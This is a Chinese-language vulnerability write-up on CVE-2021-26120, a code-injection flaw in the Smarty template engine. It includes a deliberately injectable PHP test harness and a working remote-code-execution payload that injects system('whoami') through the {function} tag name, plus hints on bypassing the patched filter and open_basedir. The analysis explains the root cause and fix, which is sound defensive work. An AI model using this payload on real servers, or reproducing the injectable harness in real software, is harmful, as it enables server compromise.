CVE-2021-26120一波潦草的分析
字数 1096 2025-08-29 08:32:18

Smarty模板注入漏洞分析 (CVE-2021-26120)

漏洞概述

CVE-2021-26120是Smarty模板引擎中的一个远程代码执行漏洞,影响Smarty 3.1.38及以下版本。该漏洞允许攻击者通过精心构造的模板函数名称注入恶意PHP代码,导致服务器端任意代码执行。

漏洞原理

模板编译机制

Smarty模板引擎的工作流程:

  1. 当访问模板文件时,Smarty会根据模板内容生成对应的PHP编译文件
  2. 生成的编译文件存储在templates_c/目录下
  3. 后续相同请求直接调用已编译文件,否则重新编译

漏洞触发点

漏洞存在于{function}标签的处理过程中,当处理函数名称时未进行充分过滤,导致攻击者可以注入任意PHP代码。

漏洞复现

环境搭建

测试环境配置:

<?php
error_reporting(0);
include_once('./libs/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
$smarty->display("string:".$_GET['juju']);

POC分析

基础测试POC:

/?juju={function+name=test}{/function}

生成的编译文件内容:

function smarty_template_function_test_8448067526245a2812ef2c6_13818238(Smarty_Internal_Template $_smarty_tpl,$params) {
    foreach ($params as $key => $value) {
        $_smarty_tpl->tpl_vars[$key] = new Smarty_Variable($value, $_smarty_tpl->isRenderingCache);
    }
}

恶意POC:

/?juju={function+name='rce(){};system("whoami");function '}{/function}

生成的恶意编译文件内容:

function smarty_template_function_rce(){};system("whoami");function _20858581166245a35986de39_17347318(Smarty_Internal_Template $_smarty_tpl,$params) {
    foreach ($params as $key => $value) {
        $_smarty_tpl->tpl_vars[$key] = new Smarty_Variable($value, $_smarty_tpl->isRenderingCache);
    }
}

攻击原理

  1. 通过{function}标签注入恶意代码到函数名中
  2. 使用{};结束前面的函数定义
  3. 使用function使后续字符串成为新函数名
  4. 中间的代码会被作为独立PHP代码执行

代码分析

关键处理流程

  1. 模板渲染入口:

    • display() -> _execute() -> createTemplate()
    • render() -> compiled->render() -> process()
  2. 编译过程:

    • compileTemplateSource(): 编译模板源文件
    • loadCompiledTemplate(): 加载编译后的模板
  3. 函数标签处理:

    • doCompile() -> doParse() -> callTagCompiler()
    • 对于{function}标签,调用smarty_internal_compile_function.php中的编译方法

漏洞关键点

smarty_internal_compile_function.php中,函数名称($_name)未经充分过滤直接拼接进生成的PHP代码:

// 原始代码
$_name = trim($_attr['name'], "'\"");
// ...
$output .= "function smarty_template_function_{$_name}";

修复方案

官方修复方法是对函数名称进行更严格的过滤,防止注入恶意代码。

绕过技巧

在实际利用中,可能需要绕过以下限制:

  1. 修改后的正则过滤:可通过换行符绕过
  2. open_basedir限制:需要特定技巧绕过

参考链接

总结

CVE-2021-26120展示了模板引擎在处理用户输入时的危险性,特别是在名称/标识符处理环节。开发人员应确保对所有用户提供的输入进行严格过滤,特别是在会直接影响到代码生成的场景中。

Smarty模板注入漏洞分析 (CVE-2021-26120) 漏洞概述 CVE-2021-26120是Smarty模板引擎中的一个远程代码执行漏洞,影响Smarty 3.1.38及以下版本。该漏洞允许攻击者通过精心构造的模板函数名称注入恶意PHP代码,导致服务器端任意代码执行。 漏洞原理 模板编译机制 Smarty模板引擎的工作流程: 当访问模板文件时,Smarty会根据模板内容生成对应的PHP编译文件 生成的编译文件存储在 templates_c/ 目录下 后续相同请求直接调用已编译文件,否则重新编译 漏洞触发点 漏洞存在于 {function} 标签的处理过程中,当处理函数名称时未进行充分过滤,导致攻击者可以注入任意PHP代码。 漏洞复现 环境搭建 测试环境配置: POC分析 基础测试POC : 生成的编译文件内容: 恶意POC : 生成的恶意编译文件内容: 攻击原理 通过 {function} 标签注入恶意代码到函数名中 使用 {}; 结束前面的函数定义 使用 function 使后续字符串成为新函数名 中间的代码会被作为独立PHP代码执行 代码分析 关键处理流程 模板渲染入口 : display() -> _execute() -> createTemplate() render() -> compiled->render() -> process() 编译过程 : compileTemplateSource() : 编译模板源文件 loadCompiledTemplate() : 加载编译后的模板 函数标签处理 : doCompile() -> doParse() -> callTagCompiler() 对于 {function} 标签,调用 smarty_internal_compile_function.php 中的编译方法 漏洞关键点 在 smarty_internal_compile_function.php 中,函数名称( $_name )未经充分过滤直接拼接进生成的PHP代码: 修复方案 官方修复方法是对函数名称进行更严格的过滤,防止注入恶意代码。 绕过技巧 在实际利用中,可能需要绕过以下限制: 修改后的正则过滤:可通过换行符绕过 open_basedir 限制:需要特定技巧绕过 参考链接 Smarty模板注入分析 总结 CVE-2021-26120展示了模板引擎在处理用户输入时的危险性,特别是在名称/标识符处理环节。开发人员应确保对所有用户提供的输入进行严格过滤,特别是在会直接影响到代码生成的场景中。